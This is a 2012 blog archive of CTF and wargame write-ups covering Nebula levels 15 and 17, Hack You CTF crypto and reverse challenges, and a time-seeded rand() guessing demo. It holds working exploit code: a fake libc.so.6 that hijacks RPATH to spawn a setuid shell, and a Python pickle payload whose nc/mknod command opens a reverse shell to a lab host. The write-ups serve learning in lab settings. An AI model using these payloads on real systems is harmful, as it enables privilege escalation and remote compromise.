Sunday, October 21, 2012

Exploit Exercise - RPATH Vulnerability

Level 15 of nebula has a binary whose RPATH entry is pointing to /var/tmp/flag15. When a shared object dependency is first searched in the directories given by RPATH in binary, LD_LIBRARY_PATH environment variable and finally the dynamic linker looks into /usr/lib. To solve this level we have to create a fake libc.so.6 library in the specified RPATH location and hook some function call. LD_LIBRARY_PATH cannot be used as the dynamic linker ignores it for setuid/setgid programs.
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x0068c000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x005bb000)
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x005b0000)
 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x00737000)
As we can see libc.so.6 is now taken from /var/tmp/flag15/ . Creating a fake libc.so.6 library needs some fine tuning, Ulrich Drepper's paper on "How to write Shared Libraries" served as excellent reading material for me. For debugging purpose I made a copy of flag15, this binary will not have setuid bit and thus enables us to use LD_DEBUG variable.
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15 
     19630: 
     19630: file=libc.so.6 [0];  needed by ./flag15 [0]
     19630: find library=libc.so.6 [0]; searching
     19630:  search path=/var/tmp/flag15/tls/i686/sse2/cmov:/var/tmp/flag15/tls/i686/sse2:/var/tmp/flag15/tls/i686/cmov:/var/tmp/flag15/tls/i686:/var/tmp/flag15/tls/sse2/cmov:/var/tmp/flag15/tls/sse2:/var/tmp/flag15/tls/cmov:/var/tmp/flag15/tls:/var/tmp/flag15/i686/sse2/cmov:/var/tmp/flag15/i686/sse2:/var/tmp/flag15/i686/cmov:/var/tmp/flag15/i686:/var/tmp/flag15/sse2/cmov:/var/tmp/flag15/sse2:/var/tmp/flag15/cmov:/var/tmp/flag15  (RPATH from file ./flag15)
     19630:   trying file=/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/libc.so.6
     19630:   trying file=/var/tmp/flag15/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/libc.so.6
     19630:  search cache=/etc/ld.so.cache
     19630:   trying file=/lib/i386-linux-gnu/libc.so.6
strace will also reveal information regarding this. So now lets start building our libc.so.6. Generally shared objects are compiled with -shared -fPIC position independent code. But we need little more than that, also we should know which function call to hook. First, I was planning to hook puts() but as it progressed __libc_start_main() seemed to be the better way. But it took me sometime to get there.
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
#####################################################################################
20105: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0]
20105: /var/tmp/flag15/libc.so.6: error: version lookup error: no version information available (required by ./flag15)
The first thing we have to deal with is versioning. Ulrich Drepper's ELF symbol versioning gives information regarding this.
level15@nebula:/var/tmp/flag15$ readelf -V flag15 

Version symbols section '.gnu.version' contains 5 entries:
 Addr: 0000000008048276  Offset: 0x000276  Link: 5 (.dynsym)
  000:   0 (*local*)       2 (GLIBC_2.0)     0 (*local*)       2 (GLIBC_2.0)  
  004:   1 (*global*)   

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x0000000008048280  Offset: 0x000280  Link: 6 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 1
  0x0010:   Name: GLIBC_2.0  Flags: none  Version: 2

#######################################################################################

Symbol table '.dynsym' contains 5 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     4: 080484cc     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used

We have to create a version file and recompile our library. 
level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0{};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -Wl,--version-script=version  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
#########################################################################################
20414: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0]
20414: checking for version `GLIBC_2.1.3' in file /var/tmp/flag15/libc.so.6 [0] required by file /var/tmp/flag15/libc.so.6 [0]
20414: /var/tmp/flag15/libc.so.6: error: version lookup error: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
We get another version lookup error. GLIBC_2.1.3 is no where found in flag15 binary. The libc.so.6 is built dynamically, so our version of libc.so.6 actually tries to refer to another libc.so.6 in /lib/i386-linux-gnu/. This fails because shared library is loaded only once even if referenced multiple times. So the idea is to build our version of libc.so.6 statically.
level15@nebula:/var/tmp/flag15$ readelf -V libc.so.6 

Version symbols section '.gnu.version' contains 10 entries:
 Addr: 000000000000028c  Offset: 0x00028c  Link: 3 (.dynsym)
  000:   0 (*local*)       3 (GLIBC_2.1.3)   0 (*local*)       0 (*local*)    
  004:   1 (*global*)      1 (*global*)      2 (GLIBC_2.0)     1 (*global*)   
  008:   1 (*global*)      1 (*global*)   

Version definition section '.gnu.version_d' contains 2 entries:
  Addr: 0x00000000000002a0  Offset: 0x0002a0  Link: 4 (.dynstr)
  000000: Rev: 1  Flags: BASE   Index: 1  Cnt: 1  Name: libc.so.6
  0x001c: Rev: 1  Flags: WEAK   Index: 2  Cnt: 1  Name: GLIBC_2.0

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x00000000000002d8  Offset: 0x0002d8  Link: 4 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 1
  0x0010:   Name: GLIBC_2.1.3  Flags: none  Version: 3

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
     20486: symbol=__libc_start_main;  lookup in file=./flag15 [0]
     20486: symbol=__libc_start_main;  lookup in file=/var/tmp/flag15/libc.so.6 [0]
     20486: ./flag15: error: relocation error: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time    reference (fatal)
Ok, So we will define our own version of __libc_start_main() and check how it works
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 return 0;
}
level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0{
global:__libc_start_main;
local: *;
};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ./flag15 
Segmentation fault
level15@nebula:/var/tmp/flag15$ ulimit -c unlimited
level15@nebula:/var/tmp/flag15$ ./flag15 
Segmentation fault (core dumped)
level15@nebula:/var/tmp/flag15$ gdb -q ./flag15 core 
Reading symbols from /var/tmp/flag15/flag15...(no debugging symbols found)...done.
[New LWP 20557]

warning: Can't read pathname for load map: Input/output error.
Core was generated by `./flag15'.
Program terminated with signal 11, Segmentation fault.
#0  0x08048369 in _start ()
(gdb) x/i $eip
=> 0x8048369 <_start+33>: hlt

level15@nebula:/var/tmp/flag15$ objdump -d flag15
8048348 <_start>:
 8048348: 31 ed                 xor    %ebp,%ebp
 804834a: 5e                    pop    %esi
 804834b: 89 e1                 mov    %esp,%ecx
 804834d: 83 e4 f0              and    $0xfffffff0,%esp
 8048350: 50                    push   %eax
 8048351: 54                    push   %esp
 8048352: 52                    push   %edx
 8048353: 68 70 84 04 08        push   $0x8048470
 8048358: 68 00 84 04 08        push   $0x8048400
 804835d: 51                    push   %ecx
 804835e: 56                    push   %esi
 804835f: 68 30 83 04 08        push   $0x8048330
 8048364: e8 b7 ff ff ff        call   8048320 <__libc_start_main@plt>
 8048369: f4                    hlt    
 804836a: 90                    nop
 804836b: 90                    nop
 804836c: 90                    nop
 804836d: 90                    nop
 804836e: 90                    nop
 804836f: 90                    nop
We have returned from our __libc_start_main() at hit the hlt statement in _start. So lets write the final code to get the shell.
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 char *file = SHELL;
 char *argv[] = {SHELL,0};
 setresuid(geteuid(),geteuid(), geteuid());
 execve(file,argv,0);
}

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/home/flag15$ ./flag15 
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)

Friday, October 19, 2012

Hack You CTF - Crypto 300 [Team xbios]

We were given the python source code of the crpto service. The flag is read from a file and used as the salt for S-box. Also during encryption the S-box is once again shuffled with a part of the user input. So to grab the key we have to do the reverse process. First we find the current S-box using printables and non printables from ascii range of 0-127. Then revert back the effect in S-box due to user input. This will give the server copy of the salted S-box. From this copy we have to find the key which is our flag.
Here is the part of code which we used to grab the server copy of salted S-box. Not the best code to read but it worked for us
#!/usr/bin/python

import string
import collections
from socket import *

data_print = string.printable
data_notprint = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x7f"
JUNK = "aa"
NEW_LINE = "\n"
HOST = "127.0.0.1" 
HOST = "93.191.13.142"
PORT = 7777
sbox = [0] * 128

soc = socket(AF_INET,SOCK_DGRAM)
soc.connect((HOST,PORT))

for i in data_print:
    data = JUNK + i + NEW_LINE
    soc.sendto(data, (HOST, PORT))
    f_byte = soc.recvfrom(128)[0][:2] #fetch first byte
    val = ord(f_byte.decode("hex"))
    sbox[int(ord(i))] = val
for i in data_notprint:
    data =JUNK + i + NEW_LINE
    soc.sendto(data, (HOST, PORT))
    f_byte = soc.recvfrom(128)[0][:2] #fetch first byte
    val = ord(f_byte.decode("hex"))
    sbox[int(ord(i))] = val

print "\n[*] Reconstructed LEVEL ONE SBOX"
print sbox

for j in xrange(len(sbox)):  #remove the effect in S-box due to user input
    sbox[j] = (sbox[j] - 1) % 128
sbox[ord('a')],sbox[1] = sbox[1],sbox[ord('a')]
for k in xrange(len(sbox)):
    sbox[k] = (sbox[k] - 1) % 128
sbox[ord('a')],sbox[0] = sbox[0],sbox[ord('a')]

print "\n[*] Reconstructed LEVEL TWO SBOX"
print sbox 
This is the salted S-box from the server:
[86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31, 89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44, 0, 48, 49, 27, 4, 35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25]
Once we got this, we have to calculate the key length being used. The server code does a mod operation over the S-box list for each character of key, this actually rotates the S-box as per key length. So from each element in list, subracting its index, we found that most elements differed by 26, which is actually our key length. A simple rotation with key length will show how it works.
[0, 48, 49, 27, 4, 35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25, 86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31, 89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44]
As we can see most elements are in its respective positions when the salted S-box is rotated with key length. Next task is to find the key, this is where we got stuck. We couldn't figure out the exact way to find the flag from the available data. Finally we came up with a code which found keys when they are smaller and doesn't have any repeated characters. Heres is the part of the code:
sboxes=[]
for i in range(max_len-1, -1, -1):
    for j in xrange(len(sbox)):
        sbox[j] = (sbox[j] - 1) % 128
    ret = sbox[i] - i
    print "\n[*] SBOX Stages: ",i
    print sbox  
    sboxes.append(sbox[::])   
    sbox[ret],sbox[i] = sbox[i],sbox[ret]

flag = ''
for index,sbox in enumerate(sboxes[::-1]):
    num = sbox[index]-index
    if num > 31 and num < 127:
        flag += chr(num)
The key we got from server is <i**t*1**k3**l**9*e***g*?> ('*' represents unfound characters). Also the stage 0 of reconstructed S-box gives clue of repeating characters. Characters other than repeating ones were in place
[60, 1, 2, 3, 4, 5, 6, 115, 96, 9, 10, 11, 12, 13, 14, 15, 16, 8, 18, 110, 48, 21, 22, 104, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 20, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 0, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 17, 97, 98, 99, 100, 101, 102, 103, 23, 105, 106, 107, 108, 109, 19, 111, 112, 113, 114, 7, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127]

>>> len("<i**t*1**k3**l**9*e***g*?>")
26
>>> chr(115)
's'
>>> chr(96)
'`'
>>> chr(110)
'n'
>>> chr(48)
'0'
>>> chr(104)
'h'
We have partial key and some other data to work with. Then our teammate rdy started looking into this with his Beautiful Mind eyes, hunting for combinations and sensible meanings. We soon figured out the key: <is`th1s`k3y`l0n9`en0ugh?>

Hack You CTF - Reverse 300 [Team xbios]

We were given a binary which was packed. "strings" revealed something like "This file is packed with the LOL executable packer http://upx.sf.net". Unpacking with UPX didn't help. But strace gave the following info
[ctf@renorobert rev300]# strace ./task3.bin 
execve("./task3.bin", ["./task3.bin"], [/* 52 vars */]) = 0
[ Process PID=5086 runs in 32 bit mode. ]
getpid()                                = 5086
gettimeofday({1350641971, 320063}, NULL) = 0
unlink("/tmp/upxDHV4WSUAIXC")           = -1 ENOENT (No such file or directory)
open("/tmp/upxDHV4WSUAIXC", O_RDWR|O_CREAT|O_EXCL, 0700) = 3
ftruncate(3, 9036)                      = 0
old_mmap(NULL, 9036, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0xfffffffff770a000
old_mmap(0xf770d000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff770d000
munmap(0xf770a000, 9036)                = 0
close(3)                                = 0
open("/tmp/upxDHV4WSUAIXC", O_RDONLY)   = 3
getpid()                                = 5086
access("/proc/5086/fd/3", R_OK|X_OK)    = 0
unlink("/tmp/upxDHV4WSUAIXC")           = 0
The binary unpacks itself into /tmp before gettting executed. So the idea was to grab a copy of it. Using objdump we found an entry point into the packed binary. By running the binary in gdb and setting necessary breakpoints, we got the copy of unpacked binary from /tmp before the file is unlinked.
[ctf@renorobert rev300]# objdump -f task3.bin 

task3.bin:     file format elf32-i386
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x00402273
Once the binary was unpacked, it nicely decompiled into a readable source. Here is the part of the source that we got
void __cdecl sub_8048617(int a1, int a2)
{
  int v2; 
  int v3; 
  if ( a1 != 3 )
  {
    printf("Usage: %s <user> <key>\n", *(_DWORD *)a2);
    exit(1);
  }
  if ( sub_8049A30(*(_DWORD *)(a2 + 4), "hackyou") )
  {
    v3 = *(_DWORD *)(a2 + 4);
    v2 = *(_DWORD *)(a2 + 8);
    if ( sub_8049A00(v2) != 14 )   // length of key checked here
      sub_80485C9();
    if ( *(_BYTE *)(v2 + 4) == 45 )   // key looks like ABCD-ABCD-ABCD
    {
      if ( *(_BYTE *)(v2 + 9) == 45 )
      {
        if ( !sub_804838C(v3, v2) )   //function call to check 1st part of key
          sub_80485C9();
        if ( !sub_804844B(v3, v2 + 5) )   //function call to check 2nd part of key
          sub_80485C9();
        if ( !sub_804850A(v3, v2 + 10) )  //function call to check 3rd part of key
          sub_80485C9();
        sub_80485F0();
      }
    }
    sub_80485C9();
  }
  printf("Err, something went wrong...\n");
  exit(2);
}
signed int __cdecl sub_804838C(int a1, int a2)  //first part of key is checked with this function
{
  int v2; 
  signed int i; 
  char v5[64];
  int v6; 
  int v7; 
  int v8; 
  int v9; 
  v6 = 23;
  v7 = 13;
  v8 = 34;
  v9 = 40;
  v2 = sub_8049A00(a1);
  sub_8048DC4(a1, v2, (int)v5, 64);
  for ( i = 0; i < 4; ++i )
  {
    if ( sub_804831C(v5[*(&v6 + i)]) != *(_BYTE *)(i + a2) ) //key is checked here
      return 0;
  }
  return 1337;
}
After this, the process is straight forward. With gdb and junk input as key, we started tracing through the function calls setting up breakpoints and changing $eip's.
//Check for first part of key
   0x8048418: call   0x804831c 
   0x804841d: add    $0x4,%esp
   0x8048420: mov    0xc(%ebp),%ecx
   0x8048423: mov    -0x54(%ebp),%edx
   0x8048426: add    %edx,%ecx
   0x8048428: movsbl (%ecx),%edx
   0x804842b: cmp    %edx,%eax //key is checked here
   0x804842d: je     0x804843d
   0x8048433: mov    $0x0,%eax
   0x8048438: jmp    0x8048449
   0x804843d: jmp    0x80483f1
   0x804843f: mov    $0x539,%eax
   0x8048444: jmp    0x8048449
   0x8048449: leave  
   0x804844a: ret    

(gdb) p $eax
$4 = 107
(gdb) p $eax
$5 = 101
(gdb) p $eax
$6 = 99
(gdb) p $eax
$9 = 99
This way, we followed the three function calls and extracted the final key kecc-hack-yo0u

Thursday, October 4, 2012

Exploit Exercise - Python Pickles

Level [17] in nebula is pretty straight forward. The first look of it reveals the use of python's potentially vulnerable function pickle.loads(). The code simply unpickles any pickled data sent to it. We will use this vulnerability to perform command execution and gain a remote shell. Details about this can be found in paper Sour Pickles and blog.nelhage.com.
#!/usr/bin/env python
#payload.py
import pickle
import socket
import os
class payload(object):
    def __reduce__(self):
       comm = "rm /tmp/shell; mknod /tmp/shell p; nc 192.168.56.1 10008 0</tmp/shell | /bin/sh 1>/tmp/shell"
       return (os.system, (comm,))
payload = pickle.dumps( payload())
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect(("192.168.56.2", 10007))
print soc.recv(1024)
soc.send(payload)
[root@renorobert 17]# python payload.py && nc -v -l 10008
Accepted connection from 192.168.56.1:56089
Connection from 192.168.56.2 port 10008 [tcp/octopus] accepted
id
uid=982(flag17) gid=982(flag17) groups=982(flag17)

Wednesday, October 3, 2012

A Simple Number Guessing Game

Recently I across a few wargame codes where we have to exploit the vulnerability due to improper seeding of PRNG. rand() function is commonly used to generate pseudo-random integer in the range [0, RAND_MAX]. RAND_MAX is defined as 0x7FFFFFFF. This is what man page says about rand()

The rand() function returns a pseudo-random integer in the range [0, RAND_MAX].
The srand() function sets its argument as the seed for a new sequence of pseudo-random integers to be returned by rand().These sequences are repeatable by calling srand() with the same seed value.
If no seed value is provided, the rand() function is automatically seeded with a value of 1.

A common way to seed rand() is to use current time of the system. time() function returns UNIX Epoch in seconds. Check man 2 time for information on time() function.
Lets play a small number guessing game, the source code is given below

/* game.c */
/* A Simple Number Guessing Game */
#include<stdio.h>
#include<time.h>
#include<stdlib.h>

int main(int argc, char **argv)
{
 int rand_num;
 srand(time(0)); //seed with current time
 rand_num = rand();
 if(argc < 2)
  return -1;
 if(rand_num == atoi(argv[1]))
  printf("You won. Guess was right!\n");
 else
  printf("Sorry. Try agan, wrong guess!\n");
 return 0;
}
The program generates random number using rand() and current time is used as seed. A player wins if he can correctly guess this number.
[root@renorobert Rand]# gcc -o game game.c
[root@renorobert Rand]# ./game 6526346234
Sorry. Try agan, wrong guess!
[root@renorobert Rand]# ./game 123451345
Sorry. Try agan, wrong guess!
[root@renorobert Rand]# ./game 76234566
Sorry. Try agan, wrong guess!
Hmmm, not that easy to guess the number but not impossible. The man page of rand() says that, same sequence of random numbers are generated if same seed value is used. So we have to find the seed to win the game. time(0) returns the same value if called any number of times within a second.
/* time.c */
#include<stdio.h>
#include<time.h>
int main(void)
{
 time_t a = time(0);
 printf("%d",(int) a);
 return 0;
}
[root@renorobert Rand]# gcc -o time time.c 
[root@renorobert Rand]# ./time 
1349281735[root@renorobert Rand]# ./time 
1349281736[root@renorobert Rand]# ./time 
1349281736[root@renorobert Rand]# ./time 
1349281736[root@renorobert Rand]# ./time 
1349281737[root@renorobert Rand]# ./time 
1349281737[root@renorobert Rand]# 
We can see that same value is returned during multiple run of program if called within a second, just that you have to hammer the keyboard faster. This idea is used to generate same seed for rand() function and thus same random numbers. Below is the code that will do the guessing for us.
/* guess.c */
#include<stdio.h>
#include<time.h>
#include<stdlib.h>

int main(void)
{
 int rand_num;
 srand(time(0)); //seed with current time
 rand_num = rand();
 printf("%d", rand_num);
 return 0;
}
Now lets start playing the game again. This time we will pass the ouput from the program above to the game.
[root@renorobert Rand]# gcc -o guess guess.c 
[root@renorobert Rand]# 
[root@renorobert Rand]# ./game `./guess`
You won. Guess was right!
[root@renorobert Rand]# time ./game `./guess`
You won. Guess was right!

real 0m0.004s
user 0m0.002s
sys 0m0.002s
Yeah, we won the game this time!. Though this is just a demo game, such improper usage of PRNG can be found in many practical applications. More information on this is available in internet. Hope I explained a bit on this.